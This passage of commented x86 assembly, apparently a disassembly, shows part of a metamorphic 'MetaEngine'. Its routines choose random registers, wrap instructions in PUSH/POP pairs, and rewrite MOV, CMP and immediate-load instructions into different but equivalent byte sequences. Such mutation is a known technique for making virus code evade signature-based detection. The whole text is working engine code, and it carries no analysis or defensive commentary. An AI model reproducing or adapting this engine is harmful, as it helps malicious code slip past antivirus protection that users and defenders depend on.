[reg/opcode] field = 101 (SUB) stosb ; store call Random ; get random number and eax, 77Fh ; set it between 0 - 77F stosd ; store dword add ecx, eax ; ecx += random GenOpRegRandomReg32: ; CODE XREF: MetaEngine+67Bj movsb ; copy original opcode byte lodsb ; al = ModRM and al, 11111000b ; clear the [reg] field add al, bl ; add random reg stosb ; store mov eax, ecx ; eax = random dword stosd ; store dword add esi, 4 ; incrase code pointer by 4 GenPopRandomReg: ; CODE XREF: MetaEngine+65Cj mov al, bl ; al = random register add al, 58h ; Generate POP RandomReg stosb ; store jmp LoadInstruction ; END OF FUNCTION CHUNK FOR MetaEngine ; _______________ S U B R O U T I N E _______________________________________ ; dl = *esi & 1 GetWBit proc near ; CODE XREF: MetaEngine+600p ; GetRandomReg8p mov dl, [esi] and dl, 1 GetWBit endp ; _______________ S U B R O U T I N E _______________________________________ ; returns: dh(w=1)=FB; dh(w=0)=FF; ModifyDh proc near ; CODE XREF: MetaEngine+7BCp mov dh, dl ; dh = w bit xor dh, 1 ; inverse rol dh, 2 xor dh, 11111111b retn ModifyDh endp ; _______________ S U B R O U T I N E _______________________________________ ; returns: bl = random reg value (0-7) GetRandomReg8 proc near ; CODE XREF: MetaEngine+733p ; MetaEngine+77Ap ... call GetWBit ; dl = *esi & 1 cmp dl, 0 ; is it 8bit? jnz short GetRandomReg32 ; no, go to the 32bit version GetReg8: ; CODE XREF: GetRandomReg8+24j ; GetRandomReg8+38j call Random ; get random number and al, 111b ; make it bwtween 0-7 mov cl, al ; cl = random number and cl, dh mov ch, [esi+1] ; ch = ModRM cmp ch, 11000000b jb short CheckReg8 and ch, dh CheckReg8: ; CODE XREF: GetRandomReg8+1Bj and ch, 111b ; keep the last 3 bits cmp cl, ch ; the same register? jz short GetReg8 ; get another one cmp bh, 0 jnz short ret_RandomReg8 mov ch, [esi+1] ; ch = ModRM ror ch, 3 ; check the [reg/opcode] field and ch, 111b and ch, dh cmp cl, ch ; the same register? jz short GetReg8 ; get another one ret_RandomReg8: ; CODE XREF: GetRandomReg8+29j mov bl, al ; bl = random register retn GetRandomReg8 endp ; _______________ S U B R O U T I N E _______________________________________ GetRandomReg32 proc near ; CODE XREF: MetaEngine+605p ; GetRandomReg8+8j ... call Random ; get random number and al, 111b ; make it between 0-7 (a register) cmp al, 4 ; ESP? jz short GetRandomReg32 ; avoid cmp al, 5 ; EBP? jz short GetRandomReg32 ; avoid mov cl, al ; cl = random reg mov ch, [esi+1] ; ch = ModRM cmp ch, 11000000b jb short loc_40270A and cl, dh and ch, dh loc_40270A: ; CODE XREF: GetRandomReg32+17j and ch, 111b ; keep last 3 bits cmp cl, ch ; is the [reg] field in ModRM == random reg? jz short GetRandomReg32 ; yes, choose another register cmp bh, 0 ; if (flag) == false jnz short ret_RandomReg32 mov cl, al ; cl = random reg and cl, dh mov ch, [esi+1] ; ch = ModRM ror ch, 3 and ch, 111b ; keep last 3 bits and ch, dh cmp cl, ch jz short GetRandomReg32 ret_RandomReg32: ; CODE XREF: GetRandomReg32+27j mov bl, al ; bl = random reg retn GetRandomReg32 endp ; ___________________________________________________________________________ ; START OF FUNCTION CHUNK FOR MetaEngine Morph2: ; CODE XREF: MetaEngine:jmp_Mutatej mov bh, 0 call GetRandomReg8 ; returns: bl = random reg value (0-7) call MakePushRandomReg ; store (bl & dh) + 50h mov al, 8Ah ; Generate MOV r8,r/m8 add al, dl ; dl = w bit stosb ; store (8A or 8B) mov al, [esi+1] ; al = ModRM and al, 111000b ; save the [reg/opcode] field ror al, 3 ; move first reg to the [reg] field mov ah, bl ; ah = random reg rol ah, 3 ; move random reg ro the [reg/opcode] field add al, ah ; add it or al, 11000000b ; set [mod] = 11 stosb ; store mov al, [esi] ; al = original opcode stosb ; store mov al, [esi+1] ; al = ModRM and al, 11000111b ; save [reg/opcode] field mov ah, bl ; ah = random reg rol ah, 3 ; save random reg in the [reg/opcode] field add al, ah ; add random reg to ModRM stosb ; store call CheckDisplacement ; returns cl: 0, 1 or 4 add esi, 2 ; increase code pointer by 2 rep movsb ; copy displacement call MakePopRandomReg ; store (bl & dh) + 58h jmp LoadInstruction ; ___________________________________________________________________________ Morph3: ; CODE XREF: MetaEngine:_jmp_Mutatej mov bh, 0 call GetRandomReg8 ; returns: bl = random reg value (0-7) call MakePushRandomReg ; store (bl & dh) + 50h mov al, [esi] ; al = opcode and al, 11111110b ; clear w bit cmp al, 8Ah ; MOV r8, r/m8? jz short Morph3_Continue ; jump to 8 bit version mov al, 88h ; Generate MOV r32, r/m32 add al, dl ; add the w bit stosb ; store mov al, [esi+1] ; al = ModRM and al, 111000b ; clear the [reg] field add al, bl ; add random register or al, 11000000b ; set [mod] = 11 stosb ; store Morph3_Continue: ; CODE XREF: MetaEngine+78Aj mov al, [esi] ; al = original opcode mov dh, al ; dh = original opcode stosb ; store mov al, [esi+1] ; al = ModRM and al, 11000111b ; clear [reg/opcode] field mov ah, bl ; ah = random register rol ah, 3 ; place it in the [reg/opcode] field add al, ah ; add to ModRM stosb ; store ModRM mov bh, [esi+1] ; bh = original ModRM call CheckDisplacement ; returns cl: 0, 1 or 4 add esi, 2 ; increase code counter by 2 rep movsb ; copy displacement mov al, dh ; al = opcode call ModifyDh ; returns: dh(w=1)=FB; dh(w=0)=FF; and al, 11111110b ; clear w bit cmp al, 3Ah ; CMP r8, r/m8? jz short Wrap_Morph3 mov al, 8Ah ; al = MOV r8, r/m8, direction flag set add al, dl ; add the w bit stosb ; store opcode mov al, bh ; al = original ModRM and al, 111000b ; clear the [reg] field add al, bl ; add random register or al, 11000000b ; set [mod] = 11 stosb Wrap_Morph3: ; CODE XREF: MetaEngine+7C5j call MakePopRandomReg ; store (bl & dh) + 58h jmp LoadInstruction ; ___________________________________________________________________________ Morph4: ; CODE XREF: MetaEngine:__jmp_Mutatej call GetRandomReg8 ; returns: bl = random reg value (0-7) call MakePushRandomReg ; store (bl & dh) + 50h mov al, dl ; al = w bit rol al, 3 ; move the w bit 3 bits left add al, 0B0h ; Generate MOV r8/32, imm8/32 ; B0 = 1011 w reg add al, bl ; add random register stosb ; store call CheckDisplacement ; returns cl: 0, 1 or 4 add ecx, esi ; add location+displacement mov eax, [ecx+2] ; eax = original immediate cmp dl, 0 ; check the w bit jz short StoreOneByte ; store one byte stosd ; store dword jmp short Morph4_Continue ; ___________________________________________________________________________ StoreOneByte: ; CODE XREF: MetaEngine+800j stosb ; store one byte Morph4_Continue: ; CODE XREF: MetaEngine+803j mov al, bh ; bh = opcode saved before call to this routine add al, dl ; add the w bit stosb ; store mov al, [esi+1] ; al = original ModRM and al, 11000111b ; clear the [reg/opcode] field mov ah, bl ; ah = random reg rol ah, 3 ; place it in the [reg/opcode] field add al, ah ; add to ModRM byte stosb ; store call CheckDisplacement ; returns cl: 0, 1 or 4 add esi, 2 ; increase code pointer by 2 rep movsb ; copy displacement add esi, 1 ; increase code pointer cmp dl, 0 ; check w bit jz short Wrap_Morph4 add esi, 3 ; increase code pointer by 3 Wrap_Morph4: ; CODE XREF: MetaEngine+828j call MakePopRandomReg ; store (bl & dh) + 58h jmp LoadInstruction ; END OF FUNCTION CHUNK FOR MetaEngine ; _______________ S U B R O U T I N E _______________________________________ ; store (bl & dh) + 50h MakePushRandomReg proc near ; CODE XREF: MetaEngine+738p ; MetaEngine+77Fp ... mov al, bl and al, dh add al, 50h stosb retn MakePushRandomReg endp ; _______________ S U B R O U T I N E _______________________________________ ; store (bl & dh) + 58h MakePopRandomReg proc near ; CODE XREF: MetaEngine+76Ep ; MetaEngine:Wrap_Morph3p ... mov al, bl and al, dh add al, 58h stosb retn MakePopRandomReg endp